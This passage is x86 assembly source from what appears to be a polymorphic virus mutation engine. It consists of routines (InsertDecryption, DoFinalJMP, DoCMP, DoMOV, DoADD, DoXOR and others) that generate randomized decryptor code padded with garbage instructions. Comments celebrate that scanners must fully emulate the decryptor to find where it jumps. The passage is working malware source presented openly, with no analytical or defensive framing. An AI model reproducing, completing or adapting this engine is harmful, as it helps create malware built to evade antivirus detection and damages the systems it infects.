call DoMOV ; Move that value to the buffer register
call DoRandomGarbage ; Make garbage
mov ebx, eax
pop eax ; Pop the opcode
and ah, 0F8h ; Recode the 2nd opcode to insert a 3rd
or ah, 4
stosw ; Store the opcode
mov dh, byte ptr [ebp+Index2Register] ; Get the Index2
call RandomFlags ; 50% of probability to jump
setz cl
jz @@RJ_01
xchg dh, dl ; Exchange the two registers (the order
; doesn't matter)
@@RJ_01: shl dl, 3 ; Construct the opcode using the Index2 reg
mov al, dh ; and the buffer reg
or al, dl
or cl, cl
jz @@RJ_99
push eax
call Random
and al, 3
mov cl, al
mov eax, [ebp+EncryptedDataBeginAddress]
shl ebx, cl
sub eax, ebx
mov ebx, eax
pop eax
ror cl, 2
or al, cl
stosb
jmp @@RJ_98
@@RJ_99: stosb ; Store the third opcode
mov eax, [ebp+EncryptedDataBeginAddress]
sub eax, ebx ; Calculate the addition
mov ebx, eax
@@RJ_98: mov eax, ebx
stosd ; Store the addition
@@Next_01:
mov eax, [ebp+DecryptKey] ; Get the decryption key and
jmp @@IFC_Next_01 ; jump to store it.

;; Here we use a key register, that's it:


;; XOR/ADD/SUB [Register1+(opt.Register2+)AdditionValue],KeyRegister
@@WithKeyReg: cmp byte ptr [ebp+EncryptType], 1
jb @@PutSUBReg
jz @@PutADDReg
@@PutXORReg: mov al, 31h ; XOR opcode
jmp @@PutReg
@@PutADDReg: mov al, 01h ; ADD opcode
jmp @@PutReg
@@PutSUBReg: mov al, 29h ; SUB opcode. This time this is the first op-
; code
@@PutReg: mov ah, 80h ; Set dword addition in the 2nd opcode
test byte ptr [ebp+TuaregFlags], 6 ; Buffer register?
jnz @@NoBufferReg2 ; If not, jump
;; This time we made:
;; XOR/ADD/SUB [BufferReg+Addition],KeyRegister
@@WithBufferReg2:
mov dh, [ebp+BufferRegister] ; Get the buffer register
call RandomFlags ; Do we modify the addition?
jz @@Next_02 ; Jump if we store the decrypt data begin
; address directly
push edx
push eax
call Random ; Get a random value to ADD
mov dl, byte ptr [ebp+BufferRegister]
call DoADD ; Construct an ADD (or similar) with the
; buffer register and the random value
call DoRandomGarbage ; Make garbage
pop ebx
xchg ebx, eax
pop edx
mov dl, [ebp+KeyRegister] ; Get the key register
shl dl, 3 ; Construct the second opcode with the
or ah, dl ; buffer register and the key register
or ah, dh
stosw ; Store the opcode
mov eax, [ebp+EncryptedDataBeginAddress] ; Calculate the
sub eax, ebx ; addition after the ADD
jmp @@IFC_Next_01 ; Jump to store it and finish

;; Here we can construct an instruction similar to the above but using


;; Index2 or use Index2 and BufferReg as a two-index memory reference.
@@NoBufferReg2:
mov dh, [ebp+Index2Register]
call RandomFlags ; Randomly jump to complete the instruc-
jz @@Next_02 ; tion directly
test byte ptr [ebp+TuaregFlags], 2 ; Double XORing?
jnz @@UseBufferRegister2 ; If so, use only buffer register
call RandomFlags ; Select if we use only Index2 or buffer
jz @@UseBufferRegister2 ; too
;; Here we construct:
;; XOR/ADD/SUB [Index2+Addition],KeyRegister
@@UseIndexRegister2:
push edx
push eax
call Random
mov dl, byte ptr [ebp+Index2Register]
call DoADD ; Modify the Index2 with an ADD
call DoRandomGarbage ; Make garbage
pop ebx
xchg ebx, eax
pop edx
mov dl, [ebp+KeyRegister]
shl dl, 3
or ah, dl
or ah, dh
stosw ; Construct the opcode of the instruction
mov eax, [ebp+EncryptedDataBeginAddress] ; Calculate the
sub eax, ebx ; addition and jump to store it
jmp @@IFC_Next_01
;; Here we are going to use the buffer register and the Index2 register.
;; As before, we'll use the buffer register with a random value instead
;; of adjusting the addition, so the relative address will be represented
;; in two registers plus a dword addition.
@@UseBufferRegister2:
push eax
call Random
mov dl, byte ptr [ebp+BufferRegister]
call DoMOV ; Make a MOV BufferReg,RandomValue (or simi-
call DoRandomGarbage ; lar) and some garbage
pop ebx
xchg ebx, eax
mov ah, 84h ; Fixed (agh) 2nd opcode, which signali-
; ces dword addition and the use of a
; third opcode
mov dl, [ebp+KeyRegister]
shl dl, 3
or ah, dl ; Set the key register
stosw ; Store the opcode
mov dl, [ebp+BufferRegister]
mov dh, [ebp+Index2Register]
call RandomFlags
setz cl
jz @@RJ_02
xchg dh, dl
@@RJ_02: shl dl, 3
mov al, dh ; Now construct the third opcode, which
or al, dl ; means (with the 2nd) [Reg1+Reg2+Value]
or cl, cl
jz @@RJ_97
push eax
call Random
and al, 3
mov cl, al
pop eax
shl ebx, cl
ror cl, 2
or al, cl
@@RJ_97: stosb
mov eax, [ebp+EncryptedDataBeginAddress]
sub eax, ebx ; Construct the addition...
jmp @@IFC_Next_01 ; ...and jump to store it

;; Here to put directly the decryption address added to the index register
@@Next_02: mov dl, [ebp+KeyRegister]
shl dl, 3
or ah, dl ; Bind the registers to the opcode
or ah, dh
stosw ; Store the opcode
mov eax, [ebp+EncryptedDataBeginAddress] ; Get the addr.
@@IFC_Next_01:
stosd ; Store it
call DoRandomGarbage ; Make garbage
call DoRandomGarbage
ret ; Return
InsertDecryption endp

;; Final jump to the decrypted part. With also a wide variety of methods, with
;; this there isn't a direct jump to the decrypted part, so the decryptor has
;; to be emulated completely to know where the decryptor jumps after the work
;; is done. Hahahahahahahaha! (devilish laugh :)
DoFinalJMP proc
;; Ways of jumping to the decrypted part:
; Common entry:
; MOV [Address], Value (in many and variated types)
; (optional) XOR/ADD/SUB [Address], Value
;; Jump:
; JMP [Address]
; PUSH [Address] / RET
; MOV Reg,[Address] / JMP Reg
; MOV Reg,Address / JMP [Reg]
;; In the common entry, the value and or the memory address can be in regis-
;; ters (the value is moved to a random register before using that value).

pushad ; Undocumented instruction :P


@@Repeat: call SelectOnlyTwoRegs ; It changes the reserve of four re-
; gisters to only two (no more needed)
mov ebx, [ebp+ReservedBssAddress] ; We reserved this addr.
; to avoid that the calling to DoRandomGarbage
; overwrites the data that we put here while
; the decryptor is running.
mov eax, [ebp+EncryptedDataBeginAddress]
call DoMOVMemValue
@@Next: call DoRandomGarbage ; Make garbage
call DoRandomGarbage
call SelectOnlyTwoRegs ; Reselect two registers and put
; them as "reserved"
mov dl, [ebp+Index1Register]
call Random ; Get the way of jumping to the address in
and al, 3 ; our variable
jz @@JMP__ ; Make JMP [Memory_Address]
cmp al, 2
jb @@PUSH__RET ; Make PUSH [Memory_Address]/RET
jz @@MOV__JMP ; Make MOV Reg,[Memory_Address]/JMP Reg
; Make MOV Reg,Memory_Address/JMP [Reg]
@@MOVJMP__: call RandomFlags
setz cl
jz @@MJ__Direct01
call Random
sub ebx, eax
jmp @@MJ__Direct03
@@MJ__Direct01:
mov eax, ebx ; EAX=Reserved memory address
@@MJ__Direct03:
call DoMOV
call DoRandomGarbage
call DoRandomGarbage
or cl, cl
jnz @@MJ__Direct02
mov ax, 0A0FFh
or ah, dl
stosw
mov eax, ebx
stosd
jmp @@Return
@@MJ__Direct02:
cmp dl, 5
jz @@MJ__EBP ; If the reserved register is EBP, jump
mov ax, 20FFh ; Opcode of JMP [Reg]
or ah, dl ; Set the used register
stosw ; Insert the instruction
jmp @@Return ; Return
@@MJ__EBP:
mov ax, 65FFh ; We have to store JMP [EBP+00], so we do
stosw ; it (a single EBP can't go alone, since
xor al, al ; 5 is the identifier of a direct memory
stosb ; address)
jmp @@Return ; Return

;; MOV Reg,[Memory_Address]/JMP Reg


@@MOV__JMP: mov dl, [ebp+Index1Register] ; Get the reserved register
call DoMOVRegMem
call DoRandomGarbage ; Make garbage
call DoRandomGarbage
mov ax, 0E0FFh ; Opcode of JMP Reg
or ah, dl ; Set the register in the opcode
stosw ; Store the opcode
jmp @@Return ; Return

;; PUSH [Memory_Address]/RET
@@PUSH__RET: call DoPUSHMem
call DoRandomGarbage
call DoRandomGarbage
mov al, 0C3h ; AL=opcode of RET
stosb ; Store it
jmp @@Return ; Return

;; JMP [Memory_Address]
@@JMP__: call RandomFlags
jz @@JMP__Direct
call Random
sub ebx, eax
call DoMOV
call DoRandomGarbage
call DoRandomGarbage
mov ax, 0A0FFh
or ah, dl
jmp @@Store_01
@@JMP__Direct:
mov ax, 25FFh ; AX=opcode of JMP [Memory_Address]
@@Store_01: stosw ; Store it
mov eax, ebx
stosd ; Complete the opcode with the memory address
; jmp @@Return

@@Return: mov eax, dword ptr [ebp+CopyOfUsedRegisters]


mov dword ptr [ebp+Index1Register], eax ; Restore the re-
; served registers
mov [esp+S_EDI], edi ; Replace EDI in the stack
popad ; Restore registers
ret ; Return
DoFinalJMP endp

;; This function selects two registers from Index1, Index2 or Counter, and
;; sets them on Index1. The key register remains unchanged, since it's needed
;; for the indexed memory accesses, due to the fact that its value never
;; changes.
SelectOnlyTwoRegs proc
push eax
push edx
@@OtherRandom:
call Random ; Get a random value from 0 to 3
and eax, 03h
cmp al, 2 ; Key register?
jz @@OtherRandom ; If so, then get another random
mov al, byte ptr [ebp+eax+CopyOfUsedRegisters] ; Get the
; register in DL
or eax, 08080800h ;Set the other three as 08 (unreserved)
mov dword ptr [ebp+Index1Register], eax ; Set them as the
; new registers
mov al, byte ptr [ebp+CopyOfUsedRegisters+2] ; Restore the
mov byte ptr [ebp+KeyRegister], al ; key register.
; This must be for the indexed memory writes
pop edx
pop eax
ret ; Return
SelectOnlyTwoRegs endp

;; This function constructs a comparision between a register and a value. The


;; comparision only can be used with JZ/JNZ. BufferRegister is used to make
;; a wider variety.
DoCMP proc
pushad
mov dl, byte ptr [ebp+BufferRegister] ; Get buffer reg.
push edx
cmp dl, 8 ; If there isn't any reserved, reserve one
jnz @@ThereIsOneSelected
call SelectARegister
mov byte ptr [ebp+BufferRegister], al
@@ThereIsOneSelected:

@@Repeat: call Random


and al, 7 ; Get a random value between 0 and 7
jz @@Repeat ; If 0, repeat
cmp al, 2
jbe @@PUSHXXX ; If 1-2, make PUSH/Comp/POP
; jb @@PUSHSUB
; jz @@PUSHXOR
cmp al, 3 ; If 3, do direct CMP
jz @@CMP
push eax ; Save EAX
mov dh, [ebp+Index2Register]
mov dl, [ebp+BufferRegister]
call DoMOVRegReg ; Move the value of Index2 (the register
; to compare) to BufferRegister
call DoRandomGarbage ; Make a good amount of garbage
call DoRandomGarbage
pop ecx ; Restore EAX in ECX
mov dl, [ebp+BufferRegister] ; DL=BufferRegister
mov eax, [ebp+InitialValue] ; EAX=Initial value of Index2
cmp cl, 5
jb @@MOVSUB ; CL=4, then do SUB BufferRegister,Value
; or ADD BufferRegister,NEG(Value)
jz @@MOVCMP ; CL=5, then do CMP BufferRegister,Value
@@MOVXOR: call DoXOR ; CL=6, then do XOR BufferRegister,Value
jmp @@End ; Jump and finish
@@MOVSUB: call DoSUB ; Make that SUB/ADD
jmp @@End ; Jump and finish
@@MOVCMP: or dl, dl ; If BufferRegister=EAX, then jump to store
jz @@CMP_EAX ; its own opcode
push eax
mov ax, 0F881h ; Opcode of CMP Reg,Value
or ah, dl ; Set the register to the opcode
stosw ; Store the opcode
jmp @@J01 ; Jump to store the value

@@CMP_EAX: push eax


mov al, 3Dh ; AL=Opcode of CMP EAX,Value
stosb ; Store it
@@J01: pop eax
stosd ; Store the value to compare
jmp @@End ; Return

@@CMP: call RandomFlags


jz @@Direct_CMPRegReg
mov dl, [ebp+Index2Register] ; Get the Index2 register
mov eax, [ebp+InitialValue] ; EAX=Value to compare
jmp @@MOVCMP ; Jump here to do a direct CMP
@@Direct_CMPRegReg:
call DoRandomGarbage
mov dl, [ebp+BufferRegister]
mov eax, [ebp+InitialValue]
call DoMOV
call DoRandomGarbage
mov dh, [ebp+Index2Register]
call RandomFlags
jz @@D_CMPRR03
js @@D_CMPRRXOR
@@D_CMPRRSUB:
mov ax, 0C029h
jmp @@D_CMPRR02
@@D_CMPRRXOR:
mov ax, 0C031h
@@D_CMPRR02:
call RandomFlags
jz @@D_CMPRR01
xchg dh, dl
add al, 2
@@D_CMPRR01:
jmp @@D_CMPRR04
@@D_CMPRR03:
mov ax, 0C039h
call RandomFlags
jz @@D_CMPRR05
xchg dh, dl
@@D_CMPRR05:
js @@D_CMPRR04
add al, 2
@@D_CMPRR04:
or ah, dl
shl dh, 3
or ah, dh
stosw
jmp @@End

;; Here we make PUSH Index2Register / XOR/SUB(ADD) Index2Register,(-)Value /


;; / POP Index2Register
@@PUSHXXX: mov dl, [ebp+Index2Register]
mov al, 50h ; Make a PUSH Index2Register
add al, dl
stosb ; Store that opcode
call DoRandomGarbage ; Make garbage
mov eax, [ebp+InitialValue] ; (get the value to compare)
call RandomFlags ; XOR or SUB/ADD?
jz @@PUSHSUB ; Do SUB
@@PUSHXOR: js @@PUSHXOR_D
mov dh, dl
mov dl, [ebp+BufferRegister]
call DoMOV
call DoRandomGarbage
call RandomFlags
jz @@PUSHXOR_R
xchg dh, dl
@@PUSHXOR_R: call DoXORRegReg
jmp @@PUSH_01
@@PUSHXOR_D: call DoXOR ; Do a XOR with that value
jmp @@PUSH_01 ; Jump to POP the register
@@PUSHSUB: js @@PUSHSUB_D
mov dh, dl
mov dl, [ebp+BufferRegister]
call DoMOV
call DoRandomGarbage
call RandomFlags
jz @@PUSHSUB_R
xchg dh, dl
@@PUSHSUB_R: call DoSUBRegReg
jmp @@PUSH_01
@@PUSHSUB_D: call DoSUB ; Make a SUB Reg,Value or ADD Reg,NEG(Value)
@@PUSH_01: ;we don't make garbage here, since I have to mantain the flags
;of the comparision
mov al, 58h ; Make the POP Index2Register
add al, [ebp+Index2Register]
stosb ; Store the opcode
; jmp @@End

@@End: pop edx ; Restore BufferRegister (if it was selected)


mov byte ptr [ebp+BufferRegister], dl
mov [esp+S_EDI], edi ; Conserve EDI when POPAD
popad
ret ; Return
DoCMP endp

;; This very used function performs a move operation with the register in
;; DL and the value in EAX. It can do a MOV Reg,Value, a LEA Reg,[Value] or
;; a PUSH Value/Garbage/POP Reg. Sometimes it doesn't give the correct value
;; just at the beginning, so the function adjusts the value with a sucession
;; of XORs, ADDs or SUBs to get the correct value.
DoMOV proc
pushad ; Save registers
inc byte ptr [ebp+MOVingRecursLevel]
cmp byte ptr [ebp+MOVingRecursLevel], 5
jae @@NoRecursives
@@RepeatRandom:
push eax
call Random
mov ebx, eax
pop eax
and bl, 7
jz @@MOVDirect
cmp bl, 2
jb @@LEA
jz @@LEA2
cmp bl, 4
jb @@PUSHPOP
jz @@MOVMEM
cmp bl, 5
ja @@RepeatRandom

@@Adjust: mov ebx, eax


call Random
and al, 3
jz @@NoRecursives2
mov [ebp+@@AdjustTimes], al
call Random
mov ecx, eax
push dword ptr [ebp+@@AdjustTimes]
call DoMOV
pop dword ptr [ebp+@@AdjustTimes]
@@Adj_Loop01:
push dword ptr [ebp+@@AdjustTimes]
call Random
@@Adj_OtherFlags:
call RandomFlags
jz @@Adj_01
js @@Adj_XOR
@@Adj_ADD: push eax
call Random
and eax, 0Fh
pop eax
jnz @@Adj_ADD01
cmp byte ptr [ebp+KeyIsInit], 1
jnz @@Adj_ADD01
add ecx, [ebp+DecryptKey]
mov dh, [ebp+KeyRegister]
call DoADDRegReg
jmp @@Adj_Next01
@@Adj_ADD01: add ecx, eax
call DoADD
jmp @@Adj_Next01
@@Adj_XOR: push eax
call Random
and eax, 0Fh
pop eax
jnz @@Adj_XOR01
cmp byte ptr [ebp+KeyIsInit], 1
jnz @@Adj_XOR01
xor ecx, [ebp+DecryptKey]
mov dh, [ebp+KeyRegister]
call DoXORRegReg
jmp @@Adj_Next01
@@Adj_XOR01: xor ecx, eax
call DoXOR
jmp @@Adj_Next01
@@Adj_01: js @@Adj_OtherFlags
@@Adj_SUB: push eax
call Random
and eax, 0Fh
pop eax
jnz @@Adj_SUB01
cmp byte ptr [ebp+KeyIsInit], 1
jnz @@Adj_SUB01
sub ecx, [ebp+DecryptKey]
mov dh, [ebp+KeyRegister]
call DoSUBRegReg
jmp @@Adj_Next01
@@Adj_SUB01: sub ecx, eax
call DoSUB

@@Adj_Next01:
call DoRandomGarbage
pop dword ptr [ebp+@@AdjustTimes]
dec byte ptr [ebp+@@AdjustTimes]
jnz @@Adj_Loop01

;; ECX=Current value, EBX=Desired value


@@Adj_Other:
call Random
and al, 3
jz @@Adj_Other
cmp al, 2
jb @@Adj_FinalADD
jz @@Adj_FinalXOR
@@Adj_FinalSUB:
sub ecx, ebx
mov eax, ecx
call DoSUB
jmp @@End
@@Adj_FinalADD:
sub ebx, ecx
mov eax, ebx
call DoADD
jmp @@End
@@Adj_FinalXOR:
xor ebx, ecx
mov eax, ebx
call DoXOR
jmp @@End

@@AdjustTimes db 0
db 3 dup (0) ; Padding

@@MOVDirect:
xchg ebx, eax
mov al, 0B8h
add al, dl
stosb
xchg eax, ebx
stosd
jmp @@End
@@LEA: xchg ebx, eax
mov ax, 058Dh
shl dl, 3
or ah, dl
shr dl, 3
stosw
xchg ebx, eax
stosd
jmp @@End
@@LEA2: cmp byte ptr [ebp+KeyIsInit], 1
jnz @@LEA
xchg ebx, eax
mov ax, 008Dh
shl dl, 3
or ah, dl
shr dl, 3
or ah, [ebp+KeyRegister]
sub ebx, [ebp+DecryptKey]
cmp ebx, 7Fh
jbe @@LEA2_b
cmp ebx, 0FFFFFF80h
jbe @@LEA2_d
@@LEA2_b:
or ah, 40h
stosw
xchg ebx, eax
stosb
jmp @@End
@@LEA2_d:
or ah, 80h
stosw
xchg ebx, eax
stosd
jmp @@End

@@PUSHPOP: call DoPUSHValue


call DoRandomGarbage
call DoPOPReg
jmp @@End

@@MOVMEM: call GetAndReserveVar


or ebx, ebx
jz @@NoRecursives
call DoMOVMemValue
call DoRandomGarbage
call DoMOVRegMem
call ReleaseVar
jmp @@End

@@NoRecursives2:
mov eax, ebx
@@NoRecursives:
push eax
call Random
mov ebx, eax
pop eax
and bl, 3
jz @@NoRecursives
cmp bl, 2
jb @@MOVDirect
jz @@LEA
jmp @@LEA2

@@End: dec byte ptr [ebp+MOVingRecursLevel]


and edx, 0FFh ; Mark this register as "touched" (since we
mov byte ptr [ebp+edx+TouchedRegisters], 1 ; moved a value
; to it)
mov [esp+S_EDI], edi ; Don't restore EDI when we do POPAD
popad
ret ; Return
DoMOV endp

DoPUSHValue proc
pushad
inc byte ptr [ebp+MOVingRecursLevel]
cmp byte ptr [ebp+MOVingRecursLevel], 5
jae @@DirectPUSH
call RandomFlags
jz @@DirectPUSH
@@Other: call GetAndReserveVar
or ebx, ebx
jz @@DirectPUSH
call DoMOVMemValue
call DoRandomGarbage
call DoPUSHMem
call ReleaseVar
jmp @@End

@@DirectPUSH:
push eax
cmp eax, 7Fh
jbe @@PUSHByte
cmp eax, 0FFFFFF80h
jae @@PUSHByte
mov al, 68h
stosb
pop eax
stosd
jmp @@End
@@PUSHByte:
mov al, 6Ah
stosb
pop eax
stosb

@@End: dec byte ptr [ebp+MOVingRecursLevel]


mov [esp+S_EDI], edi
popad
ret
DoPUSHValue endp

;; This function performs an addition of the value in EAX to the register in


;; DL. The addition can be done with:
;; ADD Reg,Value
;; LEA Reg,[Reg+Value]
;; SUB Reg,NEG(Value)
DoADD proc
pushad
inc byte ptr [ebp+MOVingRecursLevel]
cmp byte ptr [ebp+MOVingRecursLevel], 5
jae @@NoRecursives

cmp eax, 1
jz @@SelectINC
cmp eax, -1
jz @@SelectDEC
@@Others:
cmp byte ptr [ebp+FlagNoLEA], 1
jz @@NoLEAs

@@OtherRandom:
push eax
call Random
mov ebx, eax
pop eax
and bl, 7
jz @@ADDDirect
cmp bl, 2
jb @@SUBDirect
jz @@LEA
cmp bl, 4
jb @@LEA2
jz @@MOVMEM
cmp bl, 5
ja @@OtherRandom
@@MOVMEM2: call GetAndReserveVar
or ebx, ebx
jz @@NoRecursives
call DoMOVMemValue
call DoRandomGarbage
call DoADDRegMem
call ReleaseVar
jmp @@End
@@MOVMEM: call GetAndReserveVar
or ebx, ebx
jz @@NoRecursives
neg eax
call DoMOVMemValue
call DoRandomGarbage
call DoSUBRegMem
call ReleaseVar
jmp @@End

@@ADDDirect:
mov ebx, eax
or dl, dl
jz @@ADDDirectEAX
cmp ebx, 7Fh
jbe @@ADDDirectByte
cmp ebx, 0FFFFFF80h
jae @@ADDDirectByte
mov ax, 0C081h
@@CommonWithADD1:
or ah, dl
stosw
xchg ebx, eax
stosd
jmp @@End
@@ADDDirectByte:
mov ax, 0C083h
@@CommonWithADD2:
or ah, dl
stosw
xchg ebx, eax
stosb
jmp @@End
@@ADDDirectEAX:
mov al, 05h
stosb
xchg ebx, eax
stosd
jmp @@End

@@SUBDirect:
neg eax
mov ebx, eax
or dl, dl
jz @@SUBDirectEAX
cmp ebx, 7Fh
jbe @@SUBDirectByte
cmp ebx, 0FFFFFF80h
jae @@SUBDirectByte
mov ax, 0E881h
jmp @@CommonWithADD1
@@SUBDirectByte:
mov ax, 0E883h
jmp @@CommonWithADD2
@@SUBDirectEAX:
mov al, 2Dh
stosb
xchg ebx, eax
stosd
jmp @@End

@@LEA: mov ebx, eax


mov ax, 008Dh
or ah, dl
shl dl, 3
or ah, dl
cmp ebx, 7Fh
jbe @@LEA_sb
cmp ebx, 0FFFFFF80h
jae @@LEA_sb
or ah, 80h
stosw
xchg ebx, eax
stosd
jmp @@End
@@LEA_sb: or ah, 40h
stosw
@@LEA_sb2: xchg ebx, eax
stosb
jmp @@End

@@LEA2: cmp byte ptr [ebp+KeyIsInit], 1


jnz @@LEA
sub eax, [ebp+DecryptKey]
mov ebx, eax
cmp ebx, 7Fh
jbe @@LEA2b
cmp ebx, 0FFFFFF80h
jae @@LEA2b
mov ax, 848Dh
@@LEA2_Common:
shl dl, 3
or ah, dl
shr dl, 3
stosw
mov dh, [ebp+KeyRegister]
call RandomFlags
jz @@LEA2_X
xchg dh, dl
@@LEA2_X: shl dh, 3
mov al, dh
or al, dl
stosb
cmp ebx, 7Fh
jbe @@LEA_sb2
cmp ebx, 0FFFFFF80h
jae @@LEA_sb2
xchg ebx, eax
stosd
jmp @@End
@@LEA2b: mov ax, 448Dh
jmp @@LEA2_Common

@@SelectINC2:
call RandomFlags
jz @@INC01
js @@NextNoRecurs
jmp @@INC01
@@SelectINC:
call RandomFlags
jz @@INC01
js @@Others
@@INC01: mov al, 40h
jmp @@CommonWithDEC

@@NoLEAs: push eax


call Random
mov ebx, eax
pop eax
and bl, 3
jz @@ADDDirect
cmp bl, 2
jb @@SUBDirect
jz @@MOVMEM
jmp @@MOVMEM2

@@NoRecursives:
cmp eax, 1
jz @@SelectINC2
cmp eax, -1
jz @@SelectDEC2
@@NextNoRecurs:
cmp byte ptr [ebp+FlagNoLEA], 1
jnz @@NoRecursives2
call RandomFlags
jz @@ADDDirect
jmp @@SUBDirect

@@NoRecursives2:
call RandomFlags
jz @@0_
js @@ADDDirect
jmp @@SUBDirect
@@0_: js @@LEA
jmp @@LEA2

@@SelectDEC2:
call RandomFlags
jz @@DEC01
js @@NextNoRecurs
jmp @@DEC01

@@SelectDEC:
call RandomFlags
jz @@DEC01
js @@Others
@@DEC01: mov al, 48h
@@CommonWithDEC:
or al, dl
stosb

@@End: dec byte ptr [ebp+MOVingRecursLevel]


mov [esp+S_EDI], edi ; Conserve EDI
popad
ret ; Return
DoADD endp

;; Flag that we use when making comparisions, since LEA doesn't modify flags
FlagNoLEA db 0

;; This function makes a subtraction of the value in EAX to the register in


;; DL. Since this function is only called when we make comparisions, we have
;; to assure that LEA isn't used, so I put a flag to avoid LEAs. This function
;; then negates the value and calls to DoADD, but avoiding LEAs.
DoSUB proc
push eax
neg eax ; Negate value
mov byte ptr [ebp+FlagNoLEA], 1 ; Don't allow LEA
call DoADD ; Call to DoADD
mov byte ptr [ebp+FlagNoLEA], 0 ; Allow LEA again
pop eax
ret ; Return
DoSUB endp

;; This function only makes a XOR Reg,Value. There isn't any work-around to
;; make XORs (well, you can use the fact that a XOR is
;; [(X AND Y) OR (NEG(X) AND NEG(Y)], which it's a bitch to code :).
DoXOR proc
pushad
inc byte ptr [ebp+MOVingRecursLevel]
cmp byte ptr [ebp+MOVingRecursLevel], 5
jae @@DirectXOR

call GetAndReserveVar
or ebx, ebx
jz @@DirectXOR
call DoMOVMemValue
call DoRandomGarbage
call DoXORRegMem
call ReleaseVar
jmp @@End

@@DirectXOR:
push eax
or dl, dl ; Do we use EAX?
jz @@EAX ; Then use the EAX opcode
mov ax, 0F081h ; Opcode of XOR Reg,Value
or ah, dl ; Bind the register to the opcode
stosw ; Store the opcode
jmp @@J01 ; Jump to continue
@@EAX: mov al, 35h ; Opcode of XOR EAX,Value
stosb ; Store it
@@J01: pop eax ; Get the value to XOR from stack
stosd ; Complete the instruction

@@End: dec byte ptr [ebp+MOVingRecursLevel]


mov [esp+S_EDI], edi ; Conserve EDI
popad
ret ; Return
DoXOR endp

;; EBX=Memory address, EAX=Value


DoMOVMemValue proc
pushad
inc byte ptr [ebp+MOVingRecursLevel]
cmp byte ptr [ebp+MOVingRecursLevel], 5
jae @@NoRecursives
push eax
call Random
mov ecx, eax
pop eax
and cl, 3
jz @@MOVDirect
cmp cl, 2
jb @@MOVDirect2
jz @@PUSHPOP

@@AdjustMem:
mov ecx, eax ; ECX=Destiny (=EAX)
call Random
and al, 3
jz @@NoRecursives2
mov byte ptr [ebp+@@AdjustTimes], al
call Random
mov edx, eax ; EDX=Initial value
push dword ptr [ebp+@@AdjustTimes]
call DoMOVMemValue ; Move this to [EBX]
pop dword ptr [ebp+@@AdjustTimes]
@@Adj_Loop01:
push dword ptr [ebp+@@AdjustTimes]
call Random
mov esi, eax ; ESI=Number that modifies
@@Adj_Loop02:
call Random
and al, 3
jz @@Adj_Loop02
cmp al, 2
jb @@Adj_ADD
jz @@Adj_XOR
@@Adj_SUB: cmp byte ptr [ebp+KeyIsInit], 1
jnz @@Adj_SUB01
call Random
and al, 0Fh
jnz @@Adj_SUB01
sub edx, [ebp+DecryptKey]
push edx
mov dl, [ebp+KeyRegister]
call DoSUBMemReg
pop edx
jmp @@Adj_Next01
@@Adj_SUB01: sub edx, esi ; Initial=Initial-Random
mov eax, esi
call DoSUBMemValue ; Do SUB [<EBX>],<ESI>
jmp @@Adj_Next01

@@Adj_ADD: cmp byte ptr [ebp+KeyIsInit], 1


jnz @@Adj_ADD01
call Random
and al, 0Fh
jnz @@Adj_ADD01
add edx, [ebp+DecryptKey]
push edx
mov dl, [ebp+KeyRegister]
call DoADDMemReg
pop edx
jmp @@Adj_Next01
@@Adj_ADD01: add edx, esi ; Initial=Initial+Random
mov eax, esi
call DoADDMemValue ; Do ADD [<EBX>],<ESI>
jmp @@Adj_Next01

@@Adj_XOR: cmp byte ptr [ebp+KeyIsInit], 1


jnz @@Adj_XOR01
call Random
and al, 0Fh
jnz @@Adj_XOR01
xor edx, [ebp+DecryptKey]
push edx
mov dl, [ebp+KeyRegister]
call DoXORMemReg
pop edx
jmp @@Adj_Next01
@@Adj_XOR01: xor edx, esi
mov eax, esi
call DoXORMemValue

@@Adj_Next01:
call DoRandomGarbage
pop dword ptr [ebp+@@AdjustTimes]
dec byte ptr [ebp+@@AdjustTimes]
jnz @@Adj_Loop01

@@Adj_Loop03:
call Random
and al, 3
jz @@Adj_Loop03
cmp al, 2
jb @@Adj_FinalADD
jz @@Adj_FinalSUB
@@Adj_FinalXOR:
xor ecx, edx ; EDX=Current value XOR final value
mov eax, ecx
call DoXORMemValue
jmp @@End
@@Adj_FinalADD:
sub ecx, edx
mov eax, ecx
call DoADDMemValue
jmp @@End
@@Adj_FinalSUB:
sub edx, ecx
mov eax, edx
call DoSUBMemValue
jmp @@End

@@AdjustTimes db 0
db 3 dup (0) ; Padding

@@PUSHPOP: call DoPUSHValue


call DoRandomGarbage
call DoPOPMem
jmp @@End

@@MOVDirect: push eax


mov ax, 05C7h
stosw
pop eax
xchg ebx, eax
stosd ; First <EBX>
xchg ebx, eax
stosd
jmp @@End
@@MOVDirect2: cmp byte ptr [ebp+KeyIsInit], 1
jnz @@MOVDirect
push eax
mov ax, 00C7h
or ah, [ebp+KeyRegister]
sub ebx, [ebp+DecryptKey]
cmp ebx, 7Fh
jbe @@Byte
cmp ebx, 0FFFFFF80h
jae @@Byte
or ah, 80h
stosw
pop eax
xchg ebx, eax
stosd
xchg ebx, eax
stosd
jmp @@End
@@Byte: or ah, 40h
stosw
pop eax
xchg ebx, eax
stosb
xchg ebx, eax
stosd
jmp @@End

@@NoRecursives2:
mov eax, ecx
@@NoRecursives:
call RandomFlags
jz @@MOVDirect
jmp @@MOVDirect2

@@End: dec byte ptr [ebp+MOVingRecursLevel]


mov [esp+S_EDI], edi
popad
ret
DoMOVMemValue endp

DoADDMemReg proc
mov byte ptr [ebp+OpcodeToUseInXXXFunc], 01
jmp DoXXXWithMemAndReg
DoADDMemReg endp

;; Attention: This routine shouldn't be called directly!


DoXXXWithMemAndReg proc
pushad
call RandomFlags
jz @@Direct

cmp byte ptr [ebp+KeyIsInit], 1


jnz @@Direct
sub ebx, [ebp+DecryptKey]
xor ah, ah
mov al, [ebp+OpcodeToUseInXXXFunc]
shl dl, 3
or ah, dl
or ah, [ebp+KeyRegister]
cmp ebx, 7Fh
jbe @@Byte
cmp ebx, 0FFFFFF80h
jae @@Byte
or ah, 80h
stosw
mov eax, ebx
stosd
jmp @@End
@@Byte: or ah, 40h
stosw
mov eax, ebx
stosb
jmp @@End

@@Direct: mov ah, 05h


mov al, [ebp+OpcodeToUseInXXXFunc]
shl dl, 3
or ah, dl
stosw
mov eax, ebx
stosd

@@End: mov [esp+S_EDI], edi


popad
ret
DoXXXWithMemAndReg endp

DoADDRegMem proc
mov byte ptr [ebp+OpcodeToUseInXXXFunc], 03
jmp DoXXXWithMemAndReg
DoADDRegMem endp

DoSUBRegMem proc
mov byte ptr [ebp+OpcodeToUseInXXXFunc], 2Bh
jmp DoXXXWithMemAndReg
DoSUBRegMem endp

DoSUBMemReg proc
mov byte ptr [ebp+OpcodeToUseInXXXFunc], 29h
